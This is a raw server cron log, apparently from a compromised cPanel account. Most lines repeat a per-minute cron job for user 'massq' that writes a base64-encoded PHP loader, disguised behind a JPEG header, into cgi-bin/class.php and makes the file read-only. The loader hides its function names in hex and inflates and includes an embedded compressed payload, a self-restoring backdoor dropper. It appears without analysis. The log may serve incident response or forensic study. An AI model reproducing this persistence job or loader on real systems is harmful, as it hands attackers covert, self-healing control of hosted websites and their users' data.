Nov 14 10:26:01 server CROND[25566]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:27:01 server CROND[26433]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:27:01 server CROND[26435]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 10:28:01 server CROND[27339]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:29:01 server CROND[28207]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:30:01 server CROND[29164]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 10:30:01 server CROND[29166]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 10:30:01 server CROND[29167]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 10:30:01 server CROND[29168]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:31:01 server CROND[30098]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:32:01 server CROND[30654]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:33:01 server CROND[31689]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:34:01 server CROND[32565]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:35:01 server CROND[1080]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 10:35:01 server CROND[1081]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 10:35:01 server CROND[1090]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:35:01 server CROND[1092]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 10:35:01 server CROND[1091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 10:36:01 server CROND[2037]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:37:01 server CROND[2896]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:38:01 server CROND[3748]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
